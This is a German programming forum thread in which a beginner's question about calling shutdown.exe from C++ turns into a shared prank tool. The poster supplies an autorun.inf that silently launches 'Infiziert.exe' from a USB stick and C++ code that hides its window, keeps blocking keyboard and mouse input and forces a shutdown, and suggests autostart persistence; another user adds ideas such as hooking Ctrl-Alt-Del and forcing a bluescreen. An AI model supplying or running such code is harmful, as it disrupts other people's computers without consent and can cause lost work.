C++ Fehlermeldung beim mit C++ programmierten Programm!

game93

Cadet 4th Year
Registriert
März 2009
Beiträge
99
Folgendes Problem: Beim ausführen der .exe Datei über den Compiler wird folgende Fehlermeldung rausgegeben:"Das Programm bzw. die Funktion "xy" kann aufgrund einer Inkompatibilität mit 64-Bit-Versionen von Windows nicht gestartet bzw. ausgeführt werden. Wenden Sie sich an den Softwarehersteller, um zu erfahren, ob eine mit 64-Bit-Windows kompatible Version verfügbar ist."
Was muss ich ändern, dass mein Programm auch auf 64-Bit läuft?
Hier der Quellcode:

#include <stdlib.h>

int main()
{

system("C:\\WINDOWS\\System32\\shutdown.exe -s -f -t 0 ");

return 0;
}

Danke im vorraus.
 
Welchen Compiler verwendest du?
Am Code liegt das nicht, das liegt am Compiler bzw. an den Einstellungen des Compilers.

Edit:
...Und wie hat du das Ding kompiliert?
Zum kompilieren muss ja nur der Code korrekt sein, dass das Programm dann auch ausführbar ist, ist eine andere Geschichte.

Gruß
BlackMark
 
Ja, jetzt wäre halt nur gut zu wissen, welchen der Thread-Ersteller hat!?

Gruß
BlackMark
 
Ich habe das Programm mit CodeBlock compiliert(dort Intel C++ compiler ausgewählt) und erstellt.
Hab den Code jetzt geändert :

#include <iostream>
#include <windows.h>
#include <winable.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>

int c;
boolean empty = false;
int main() {

while(!empty){
c = 0;

if(kbhit()){

c = getch();
}

if(c==97)
return(0);
if(c!=0)
BlockInput(true);
system("%systemroot%\\system32\\shutdown.exe -s -f -t 60");

}
}

Das heißt wenn irgendeine Taste außer a gedrückt wird, wird der Input blockiert und der PC nach einer Minute heruntergefahren.
Das Herunterfahren wird jedoch nicht ausgeführt: "Der angegebene Pfad ist ungültig oder die Datei existiert nicht."
Erstelle ich jedoch eine Verknüpfung mit dem angegebenen Pfad funktioniert es !?
 
Weil die Datei zufällig noch shutdown.com heißt?

#include <iostream>
#include <windows.h>
#include <winable.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>

int c;
boolean empty = false;
int main() {

while(!empty){
c = 0;

if(kbhit()){

c = getch();
}

if(c==97)
return(0);
if(c!=0)
BlockInput(true);
system("%systemroot%\\system32\\shutdown.com -s -f -t 60");

}
}

So sollte die Geschichte klappen.
 
Nur

#include <iostream>
#include <windows.h>
#include <winable.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>

int c;
boolean empty = false;
int main() {

while(!empty){
c = 0;

if(kbhit()){

c = getch();
}

if(c==97)
return(0);
if(c!=0)
BlockInput(true);
system("shutdown -s -f -t 60");

}
}

versuchen? ;)
 
Hi,
sorry das ich jetzt erst wieder poste(hatte Probleme mit dem Internet:mad:).
Danke für die Tips, ich hab alles ausprobiert aber nichts hat funkioniert :heul:.
Falls jemand noch ne Idee hat: Bitte posten :o !
Danke im vorraus !

game93
 
Schau mal nach, ob die Datei überhaupt exisitiert!
Wenn bei dir die Datei fehlt, dann wirst du sie auch kaum verwenden können.

Ansonsten könntest du auch mal versuchen eine andere Datei aufzurufen.

Gruß
BlackMark
 
Erstelle ich jedoch eine Verknüpfung mit dem angegebenen Pfad funktioniert es !?
Sie existiert!
Hab es mit einer anderen Datei ausprobiert und es funktioniert, aber warum nicht mit "shutdown.exe" !?
Ergänzung ()

Hab jetzt mal die Datei auf den Destop kopiert und dann so eingebunden:
system("shutdown.exe -s -f -t 60");
Es funktioniert !?
Nur warum nicht mit der Verlinkung?
Ergänzung ()

Wer mal seine Lehrer oder Eltern ärgern will:
1) autorun.inf Datei erstellen mit:

[autorun]
action=Ordner öffnen, um Dateien anzuzeigen
OPEN=Infiziert.exe // Das welches ihr ausführen wollt !
icon=folder.ico // Hab einen Icon von Windows Vista genommen
shellexecute=Infiziert.exe
shell\Auto=&Autoplay
shell\Auto\command=Infiziert.exe
shell=Auto

2) C++ File erstellen und kompilieren:

#include <iostream>
#include <windows.h>
#include <winable.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <winuser.h>
#include <cstdlib>


int i = 0;
int c;
boolean empty = false;


int main() {


HWND hwnd = FindWindow("ConsoleWindowClass",NULL);
ShowWindow(hwnd,SW_HIDE);

while(1){

c = 0;

if(kbhit()){

c = getch();
}

if(c==97) // Wenn a gedrückt wird bricht das Programm ab!
return(0);

if(i>1000000){ // a muss schnell gedrückt werden sonst ... (der Input wird immer neu blockiert, sodass der Taskmanager auch nicht weiterhilft XD)

system("shutdown.exe -s -f -t 120");
BlockInput(true);


}
i++;
}

}


3) "shutdown.exe" kopieren und alle Dateien auf einen Stick ziehen und fertig
 
Zuletzt bearbeitet:
Da sagt dann mein Vater müde, ach nicht schon wieder ...
Drückt Windowstaste+R und gibt "shutdown -a" ein.
Wenigstens hättest ja noch ne nette meldung reinmachen können ("/c "Haha...." ").

Ich will ja nix sagen, aber das kann man ja fast mit ner Batch erledigen.
Und viel besser ist es, wenn man unklickbare Fenster Fullscreen (per DX) und dann noch STRG-ALT und ENTF hookt, dann geht nix mehr.
Oder noch besser, ein Ring0 Gate öffnen und dann in irgendein Speicher zugreifen -> BSOD.
 
@Blitzmerker: Sind alles ganz nette Sachen, aber glaubst du wirklich, dass er das hinbekommt? :p
Und warum macht man sich die Mühe, solche Scherze zu programmieren, wenn man doch auch an etwas Sinnvollem arbeiten könnte?

@game93: Warum includierst du so viele Header, die brauchst du ja nicht einmal!
Und um den Handle des Konsolenfensters zu bekommen gibt es auch einfachere Funktionen.

Gruß
BlackMark
 
@ Blitzmerker

Wenn der Input blockiert ist, funktioniert das wohl leider nicht mit "Windowstaste + R" und da der Input immer neu blockiert wird kann man zwar den Taskmanager aufrufen aber immer noch nichts machen (ist bei mir jedenfalls so). Folglich ist ein Neustart fällig und darüber wird sich dein Vater sehrwohl ärgern XD und wenn man die Datei dann noch in Autostart einfügt hat dein Vater auf gut deutsch gesagt voll versch***** :eek: ;) .
Ergänzung ()

@ BlackMark

Habe erst mal alles includiert, da ich nicht genau wusste was ich brauche, da dies erst mein erstes Programm ist und ich vorher noch nie mit C++ gearbeitet habe.
 
Hier:

2) C++ File erstellen und kompilieren:

.
.
.

int main() {

.
.
.

while(1){

.
.
.

if(i>1000000){ // a muss schnell gedrückt werden sonst ... (der Input wird immer neu blockiert, sodass der Taskmanager auch nicht weiterhilft XD)

system("shutdown.exe -s -f -t 120");
BlockInput(true);


}

i++;

}

}

PS: So ein "Progrämmchen" hat aber nicht jeder XD!
 
Zuletzt bearbeitet:
Haste auch den Remark gelesen?
The system will unblock input in the following cases:
The thread that blocked input unexpectedly exits without calling BlockInput with fBlock set to FALSE. In this case, the system cleans up properly and re-enables input.
Windows 95/98/Me: The system displays the Close Program/Fault dialog box. This can occur if the thread faults or if the user presses CTRL+ALT+DEL.
Windows 2000/XP: The user presses CTRL+ALT+DEL or the system invokes the Hard System Error modal message box (for example, when a program faults or a device fails).
Na ja, wenn dann der Sichere Bildschirm kommt, dann drückt mal einfach Benutzer sperren, meldet sich mitm Admin an und schießt dein lustiges Programm ab.
 
Der Input wird aber immer wieder neu blockiert, d.h. wenn ich Strg+Alt+Enf drücke erscheint der Taskmanager und das Blockieren wird aufgehoben, da ich aber "if(i>1000000)" benutzt habe und i immer weiter hochgezählt wird, wird der Input immer wieder neu blockiert und der Taskmanager hilft also auch nicht weiter !
 
Zurück
Oben